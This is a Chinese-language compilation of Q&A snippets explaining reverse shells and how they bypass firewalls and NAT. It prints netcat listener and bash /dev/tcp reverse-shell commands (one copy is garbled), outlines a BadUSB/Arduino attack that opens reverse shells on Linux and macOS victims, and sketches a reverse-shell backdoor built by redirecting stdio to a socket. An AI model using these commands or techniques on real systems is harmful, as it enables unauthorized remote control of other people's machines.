【Reverse shell】也叫反弹shell,是渗透攻击的基本功,如果你找到机会让远端的机器执行你注入的代码,你的代码怎样才能为你生成一个可以交互操作的shell呢?
你可以在本地先用nc启动一个监听进程【nc -l 端口号】
然后在远端执行【bash -i /dev/tcp/你本地的IP/端口号 01】即可。
2. linux反弹shell 什么意思
简单来说,Shell就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的ssh就是执行的Shell命令实现对远程对服务器的控制。
那反弹Shell是啥呢?其英文名叫做Reverse
Shell,具体干什么的呢?就是控制端首先监听某个TCP/UDP端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
比如说,我们有两台主机A、B,我们最终想实现在A上控制B。那么如果用正向Shell,其实就是在A上输入B的连接地址,比如通过ssh连接到
B,连接成功之后,我们就可以在A上通过命令控制B了。
如果用反向Shell,那就是在A上先开启一个监听端口,然后让B去连接A的这个端口,连接成功之后,A这边就能通过命令控制B了。
反弹shell有什么用?
还是原来的例子,我们想用A来控制B,如果想用ssh等命令来控制,那得输入B的sshd地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT等原因,我们实际上是无法直接连接到B的,比如:
A虽然有公网IP,但B是一个处于内网的机器,A就没法直接连到B上。
B上开了防火墙或者安全组限制,sshd的服务端口22被封闭了。
B是一台拨号主机,其IP地址经常变动。
假如B被攻击了,我们想让B向A汇报自己的状况,那自然就需要B主动去连接A。
如果是这些情况,我们就可以用反弹Shell用A来控制B了。
3. USB攻击之BadUSB实现linux和macOS反弹shell
1 BadUSB是什么
BadUSB是一种通过硬件直接插入目标设备,执行代码,干扰、控制主机或窃取信息的HID攻击手段。HID设备即Human Interface Device,如鼠标、键盘等直接与人交互的设备。
2 Teensy简介
一个看似普通的USB设备为何具备攻击性?这是因为攻击者在定制时,会在设备中植入一个名为Teensy的攻击芯片。Teensy是一个非常小且功能完整的单片机系统,能够模拟键盘、鼠标等HID设备,当插入设备时,系统会识别为HID设备,利用微处理器、储存空间和攻击代码控制主机。
3 Arino简介
Arino是一款便捷灵活、上手简单的开源电子原型平台。它基于开放原始码simple I/O接口版,具有使用类似Java、C语言的Processing/Wiring开发环境。只需编写程序代码,上传到Arino电路板,即可实现电路板的预期功能。
4 实验环境
BadUSB硬件和Arino软件。
5 实验过程
5.1 烧录过程
打开Arino程序,选择工具,端口,选择BadUSB对应端口。打开工具,选择开发板"Arino Leonardo",编辑脚本实现反弹shell,烧录进去。Arino语法简单,setup函数为安装时运行的代码,loop函数为重复执行的代码,通常写入setup函数中。
5.2 linux上测试
受害机为ubuntu22.04,进行linux反弹shell演示。
5.3 mac上测试
成功反弹shell。
5.4 注意问题
需考虑输入法影响输入,可能导致异常。搜索栏或运行栏中已存在的字符串也可能引发异常。
文献参考
wiki.arino.cn/?...
blog.csdn.net/qq_418401...
4. Linux如何使用命令生成反弹SHELL
【Reverse shell】也叫反弹shell,是渗透攻击的基本功,如果你找到机会让远端的机器执行你注入的代码,你的代码怎样才能为你生成一个可以交互操作的shell呢?
你可以在本地先用nc启动一个监听进程【nc -l 端口号】
然后在远端执行【bash -i >& /dev/tcp/你本地的IP/端口号 0>&1】即可。
5. linux socket server怎么退到shell
退到shell?
是要做一个反弹shell后门程序吧
要反弹一个shell的话可以在一个新进程里
通过exce族函数调用一个交互式shell
但是之前要将该进程的标准输入,标准输出以及标准出错全部重定向到socket标识符上
这样客户端可以通过发送命令给服务器
服务器中shell进程执行后会将输出通过重定向发送给客户端
从而完成了一个反弹式shell后门